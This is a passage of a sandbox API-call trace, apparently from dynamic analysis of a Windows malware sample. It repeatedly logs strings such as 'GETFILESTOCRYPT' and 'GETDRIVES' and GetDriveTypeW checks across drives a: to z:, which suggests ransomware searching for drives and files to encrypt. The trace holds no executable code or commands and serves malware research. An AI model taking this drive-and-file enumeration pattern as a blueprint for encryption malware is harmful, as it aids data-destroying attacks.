wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.418] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.418] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.418] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.418] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.418] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.418] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.418] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.419] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.419] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.419] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.420] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.421] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.421] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.422] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.422] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.422] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.422] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.422] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.422] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.422] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.422] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.422] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.423] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.423] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.424] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.425] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.425] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.426] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.426] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.426] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.426] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.426] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.426] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.426] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.426] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.426] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.426] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.427] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.427] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.428] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.428] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.428] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.428] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.428] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.428] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.428] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.428] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.428] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.429] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.429] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.429] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.429] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.429] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.429] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.429] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.430] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.430] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.430] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.430] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.430] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.436] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.436] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.436] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.436] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.436] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.436] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.436] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.437] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.437] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.437] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.437] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.437] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.437] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.437] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.438] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.438] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.438] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.438] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.438] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.438] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.438] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.439] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.439] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.439] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.439] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.439] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.439] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.439] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.439] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.439] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.439] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.440] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.440] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.440] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.440] 